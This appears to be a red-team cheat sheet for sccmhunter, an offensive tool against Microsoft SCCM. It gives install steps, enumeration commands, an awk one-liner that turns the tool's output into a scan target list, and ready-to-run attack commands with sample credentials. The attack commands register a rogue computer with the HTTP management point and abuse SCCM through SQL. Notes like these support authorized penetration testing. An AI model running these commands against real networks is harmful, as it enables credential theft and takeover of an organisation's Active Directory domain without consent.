sccmhunter.py
A rad tool for hunting SCCM!
Install
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
virtualenv --python=python3 .
source bin/activate
pip3 install -r requirements.txt
python3 sccmhunter.py -hEnumerate SCCM config, enumerate remote hosts SMB shares, signing status, and SQL service status
Enumerate SMB shares
The instructions say this "profiles and enumerates SMB shares of discovered SCCM servers, where as the find command "Enumerates LDAP and SCCM assets." I believe it does an SMB-level dive into shares looking for PXEBoot variables files.
Enumerate user accounts associated with SCCM
python3 sccmhunter.py show -usersView all the enumeration info you have after doing the "find" command
sccmhunter.py show -allBuild a scan target list from sccmhunter
Extract a deduplicated list of in-domain FQDNs from show -all — e.g. to feed a port/role scanner:
DOMAINS="domain.com domain2.com" # your AD DNS domain(s), space-separated
sccmhunter show -all | awk -F'|' -v doms="$DOMAINS" '
BEGIN{ n=split(doms,D," ") }
NF>2 { gsub(/ /,"",$2); h=$2
for(i=1;i<=n;i++){ s="."D[i]
if(length(h)>length(s) && substr(h,length(h)-length(s)+1)==s){ print h; break } } }
' | sort -u > sccm-hosts.txtKeeps only FQDNs ending in your domain(s), dedupes, and writes them one-per-line to sccm-hosts.txt. Assumes the FQDN is in column 2 of show -all — adjust $2 if your sccmhunter version orders columns differently.
Create/register a computer with HTTP management point
sccmhunter.py http -u lowpriv -p 'JingleAllTheWay!' -d schwarzenegger.com -dc-ip 10.0.5.5 -ldaps -autoDo the same thing but with an existing computer account
sccmhunter.py http -u lowpriv -p 'JingleAllTheWay!' -cn 'GHOSTY$' -cp 'ComputerPasswordForGhosty' -d schwarzenegger.com -dc-ip 10.0.5.5 -ldaps -autoAbuse via SQL
sccmhunter.py mssql -u lowpriv -p 'JingleAllTheWay!' -d schwarzenegger.com -dc-ip 10.0.5.5 -tu lowpriv -sc SITECODE